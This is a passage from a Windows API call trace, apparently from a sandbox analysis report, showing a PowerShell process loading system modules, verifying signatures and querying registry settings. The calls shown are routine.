lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", nBufferLength=0x6b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", lpFilePart=0x0) returned 0x6a [0108.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d210) returned 1 [0108.268] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\msft_autologgerconfig_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d28c | out: lpFileInformation=0x843d28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f5daff, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x71f5daff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x71f5daff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2353)) returned 1 [0108.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d20c) returned 1 [0108.268] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6b [0108.268] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", nBufferLength=0x6b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", lpFilePart=0x0) returned 0x6a [0108.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d1e4) returned 1 [0108.268] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\msft_autologgerconfig_v1.0.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa0c [0108.268] GetFileType (hFile=0xa0c) returned 0x1 [0108.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d1e0) returned 1 [0108.268] GetFileType (hFile=0xa0c) returned 0x1 [0108.268] WTGetSignatureInfo () returned 0x0 [0108.394] CertDuplicateCertificateContext (pCertContext=0x737b568) returned 0x737b568 [0108.395] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d248 | out: phkResult=0x843d248*=0xa10) returned 0x0 [0108.395] RegQueryValueExW (in: hKey=0xa10, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x0, lpcbData=0x843d264*=0x0 | out: lpType=0x843d268*=0x1, lpData=0x0, lpcbData=0x843d264*=0x56) returned 0x0 [0108.395] RegQueryValueExW (in: hKey=0xa10, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x55fd30c, lpcbData=0x843d264*=0x56 | out: lpType=0x843d268*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d264*=0x56) returned 0x0 [0108.395] RegCloseKey (hKey=0xa10) returned 0x0 [0108.395] CoTaskMemAlloc (cb=0x10) returned 0x7684d88 [0108.395] CoTaskMemAlloc (cb=0x30) returned 0x740d0c0 [0108.395] WinVerifyTrust () returned 0x0 [0108.396] CoTaskMemFree (pv=0x740d0c0) [0108.396] CoTaskMemFree (pv=0x7684d88) [0108.396] CertFreeCertificateContext (pCertContext=0x737b568) returned 1 [0108.396] CloseHandle (hObject=0xa0c) returned 1 [0108.396] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6b [0108.397] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", nBufferLength=0x6b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", lpFilePart=0x0) returned 0x6a [0108.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d328) returned 1 [0108.397] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\msft_autologgerconfig_v1.0.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa0c [0108.397] GetFileType (hFile=0xa0c) returned 0x1 [0108.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d324) returned 1 [0108.397] GetFileType (hFile=0xa0c) returned 0x1 [0108.397] SetFilePointer (in: hFile=0xa0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x0 [0108.397] ReadFile (in: hFile=0xa0c, lpBuffer=0x55fe304, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x55fe304*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0108.397] SetFilePointer (in: hFile=0xa0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x1000 [0108.397] ReadFile (in: hFile=0xa0c, lpBuffer=0x55fe304, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x55fe304*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0108.397] SetFilePointer (in: hFile=0xa0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x2000 [0108.397] ReadFile (in: hFile=0xa0c, lpBuffer=0x55fe304, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x55fe304*, lpNumberOfBytesRead=0x843d390*=0x353, lpOverlapped=0x0) returned 1 [0108.398] SetFilePointer (in: hFile=0xa0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x2353 [0108.398] ReadFile (in: hFile=0xa0c, lpBuffer=0x55fe304, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x55fe304*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0108.398] CoTaskMemAlloc (cb=0x20c) returned 0x73bf078 [0108.398] GetSystemDirectoryW (in: lpBuffer=0x73bf078, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0108.398] CoTaskMemFree (pv=0x73bf078) [0108.398] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0108.398] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0108.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2c4) returned 1 [0108.398] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d340 | out: lpFileInformation=0x843d340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0108.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2c0) returned 1 [0108.398] GetSystemInfo (in: lpSystemInfo=0x843d374 | out: lpSystemInfo=0x843d374*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0108.398] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d304 | out: phkResult=0x843d304*=0x9e8) returned 0x0 [0108.399] RegQueryValueExW (in: hKey=0x9e8, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d320, lpData=0x0, lpcbData=0x843d31c*=0x0 | out: lpType=0x843d320*=0x0, lpData=0x0, lpcbData=0x843d31c*=0x0) returned 0x2 [0108.399] RegCloseKey (hKey=0x9e8) returned 0x0 [0108.399] CloseHandle (hObject=0xa0c) returned 1 [0108.483] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\eventtracingmanagement.psm1")) returned 0x20 [0108.483] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x66 [0108.483] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x66, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", lpFilePart=0x0) returned 0x65 [0108.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dffc) returned 1 [0108.484] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\eventtracingmanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5494230 | out: lpFileInformation=0x5494230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f83d66, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x71f83d66, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x71f83d66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5ad)) returned 1 [0108.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dff8) returned 1 [0108.485] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e388*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e388*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x9, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0108.485] SetEvent (hEvent=0x9a4) returned 1 [0108.485] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x843e598*=0x9a4, lpdwindex=0x843e3b4 | out: lpdwindex=0x843e3b4) returned 0x0 [0108.485] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x66 [0108.485] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x66, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", lpFilePart=0x0) returned 0x65 [0108.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6bc) returned 1 [0108.485] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\eventtracingmanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5496ce4 | out: lpFileInformation=0x5496ce4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f83d66, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x71f83d66, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x71f83d66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5ad)) returned 1 [0108.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6b8) returned 1 [0108.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0108.485] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0108.486] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x41, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", lpFilePart=0x0) returned 0x40 [0108.486] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\*", lpFindFileData=0x843e4b4 | out: lpFindFileData=0x843e4b4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a63ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76dfeb8 [0108.486] FindNextFileW (in: hFindFile=0x76dfeb8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a63ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.486] FindNextFileW (in: hFindFile=0x76dfeb8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x754914f5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x754914f5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x754914f5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x397, dwReserved0=0x0, dwReserved1=0x0, cFileName="International.psd1", cAlternateFileName="")) returned 1 [0108.486] FindNextFileW (in: hFindFile=0x76dfeb8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x754914f5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x754914f5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x754914f5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x397, dwReserved0=0x0, dwReserved1=0x0, cFileName="International.psd1", cAlternateFileName="")) returned 0 [0108.486] FindClose (in: hFindFile=0x76dfeb8 | out: hFindFile=0x76dfeb8) returned 1 [0108.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e748) returned 1 [0108.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e754) returned 1 [0108.486] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\international.psd1")) returned 0x20 [0108.486] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0108.487] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", lpFilePart=0x0) returned 0x53 [0108.487] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0108.487] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", lpFilePart=0x0) returned 0x53 [0108.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e744) returned 1 [0108.487] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\international.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5497928 | out: lpFileInformation=0x5497928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x754914f5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x754914f5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x754914f5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x397)) returned 1 [0108.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e740) returned 1 [0108.487] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0108.487] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", lpFilePart=0x0) returned 0x53 [0108.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e664) returned 1 [0108.487] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\international.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x9fc [0108.487] GetFileType (hFile=0x9fc) returned 0x1 [0108.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e660) returned 1 [0108.487] GetFileType (hFile=0x9fc) returned 0x1 [0108.487] SetFilePointer (in: hFile=0x9fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x0 [0108.487] ReadFile (in: hFile=0x9fc, lpBuffer=0x5498734, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x5498734*, lpNumberOfBytesRead=0x843e6cc*=0x397, lpOverlapped=0x0) returned 1 [0108.488] SetFilePointer (in: hFile=0x9fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x397 [0108.488] ReadFile (in: hFile=0x9fc, lpBuffer=0x5498734, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x5498734*, lpNumberOfBytesRead=0x843e6cc*=0x0, lpOverlapped=0x0) returned 1 [0108.488] CloseHandle (hObject=0x9fc) returned 1 [0108.489] CoCreateGuid (in: pguid=0x843e70c | out: pguid=0x843e70c*(Data1=0x851b10da, Data2=0x7a41, Data3=0x4113, Data4=([0]=0x84, [1]=0x6d, [2]=0x7b, [3]=0x1f, [4]=0x90, [5]=0xca, [6]=0x80, [7]=0xd2))) returned 0x0 [0108.489] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x9fc [0108.489] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x9e4 [0108.489] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x874 [0108.490] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa00 [0108.490] SetEvent (hEvent=0xa00) returned 1 [0108.490] SetEvent (hEvent=0x9fc) returned 1 [0108.490] SetEvent (hEvent=0x9e4) returned 1 [0108.490] SetEvent (hEvent=0x874) returned 1 [0108.490] AmsiCloseSession () returned 0x315cd38 [0108.490] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x8ec [0108.490] SetThreadUILanguage (LangId=0x0) returned 0x2c70409 [0108.670] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e3f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e3f8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xc, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0108.670] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e364*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e364*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x9, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0108.670] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xc, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xc, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0108.674] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\international.psd1")) returned 0x20 [0108.674] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0108.674] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", lpFilePart=0x0) returned 0x53 [0108.674] CoTaskMemAlloc (cb=0x20c) returned 0x73c1520 [0108.674] GetSystemDirectoryW (in: lpBuffer=0x73c1520, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0108.674] CoTaskMemFree (pv=0x73c1520) [0108.674] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0108.674] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0108.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e010) returned 1 [0108.674] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843e08c | out: lpFileInformation=0x843e08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0108.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e00c) returned 1 [0108.674] GetSystemInfo (in: lpSystemInfo=0x843e0c0 | out: lpSystemInfo=0x843e0c0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0108.675] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e050 | out: phkResult=0x843e050*=0x9f0) returned 0x0 [0108.675] RegQueryValueExW (in: hKey=0x9f0, 